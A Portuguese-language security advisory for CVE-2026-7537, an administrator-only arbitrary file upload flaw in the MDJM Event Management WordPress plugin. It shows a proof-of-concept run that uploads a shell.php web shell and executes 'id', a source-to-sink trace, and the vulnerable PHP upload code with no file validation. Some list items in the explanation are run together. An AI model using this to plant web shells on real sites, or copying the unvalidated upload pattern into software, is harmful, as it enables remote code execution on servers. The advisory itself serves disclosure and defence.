
MDJM Event Management <= 1.7.8.3 - Autenticado (Administrador+) Upload Arbitrário de Arquivos através do parâmetro 'mdjm_email_upload_file'
O plugin MDJM Event Management do WordPress (versão 1.7.8.3 e anteriores) contém uma vulnerabilidade de upload arbitrário de arquivos que permite a administradores autenticados enviar arquivos PHP maliciosos para o servidor, podendo levar à execução remota de código.
Uma POC CVE-2026-7537.py é fornecida para demonstrar um atacante autenticado enviando shell.php e executando código remoto:
python3 ./CVE-2026-7537.py http://target-site.com admin password123
[+] Logging into: http://target-site.com/wp-admin
[+] Extracting nonce values...
[+] Uploading web shell: shell.php
[+] Web Shell Location: http://target-site.com/wp-content/uploads/2026/02/shell.php
[+]
[+] Executing test command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
A vulnerabilidade existe na função mdjm_send_comm_email() no recurso de comunicações. A funcionalidade de upload não possui validação adequada de arquivos ao processar anexos para comunicações por e-mail. Isso permite que usuários autenticados com a capacidade mdjm_comms_send (administradores e admins do MDJM por padrão) enviem arquivos arbitrários, incluindo arquivos PHP que podem ser executados no servidor.
Fonte: Entrada do usuário de $_FILES['mdjm_email_upload_file']
Sumidouro: move_uploaded_file($tmp_path, $file_path) em comms-functions.php#L248
A vulnerabilidade ocorre porque:
send_comms via comms-functions.php#L24.mdjm_comms_send é concedida a usuários com a permissão manage_mdjm via class-mdjm-permissions.php#L626.mdjm_comms_send por padrão - apenas administradores possuem.mdjm_process_actions() em admin-actions.php#L26.mdjm_send_comm_email() registrada em comms-functions.php#L300.$_FILES['mdjm_email_upload_file'] são processados diretamente sem validação em comms-functions.php#L241-L251./wp-content/uploads/YYYY/MM/) usando move_uploaded_file() sem verificações de segurança.Arquivo: includes/admin/communications/comms-functions.php#L241-L251
if ( isset( $_FILES['mdjm_email_upload_file'] ) && '' !== $_FILES['mdjm_email_upload_file']['name'] ) {
$upload_dir = wp_upload_dir();
$file_name = $_FILES['mdjm_email_upload_file']['name']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated
$file_path = $upload_dir['path'] . '/' . $file_name;
$tmp_path = $_FILES['mdjm_email_upload_file']['tmp_name']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated
if ( move_uploaded_file( $tmp_path, $file_path ) ) {
$attachments[] = $file_path;
}
}